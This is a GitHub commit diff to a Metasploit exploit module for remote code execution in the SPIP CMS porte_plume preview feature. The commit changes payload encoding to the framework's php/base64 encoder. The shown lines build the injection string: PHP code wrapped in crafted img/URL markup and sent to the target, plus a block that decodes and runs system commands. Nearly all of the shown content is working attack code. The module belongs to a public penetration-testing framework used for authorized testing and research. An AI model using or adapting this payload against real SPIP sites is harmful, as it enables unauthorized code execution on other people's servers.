Skip to content

Commit 334a9ba

Browse files
committed
Use encoder/php/base64
1 parent 3d00f81 commit 334a9ba

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -104,13 +104,13 @@ def php_exec_cmd(encoded_payload)
104104
$c = base64_decode("#{encoded_clean_payload}");
105105
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
106106
END_OF_PHP_CODE
107-
return Rex::Text.encode_base64(shell).to_s
107+
return framework.encoders.create('php/base64').encode(shell)
108108
end
109109

110110
def exploit
111111
print_status('Preparing to send exploit payload to the target...')
112-
compacted_payload = target['Arch'] == ARCH_PHP ? Rex::Text.encode_base64(payload.raw) : php_exec_cmd(payload.encoded)
113-
payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php eval(base64_decode('#{compacted_payload}')); ?>`]"
112+
compacted_payload = target['Arch'] == ARCH_PHP ? framework.encoders.create('php/base64').encode(payload.encoded) : php_exec_cmd(payload.encoded)
113+
payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php #{compacted_payload} ?>`]"
114114

115115
Rex.sleep(0.5)
116116

0 commit comments

Comments
 (0)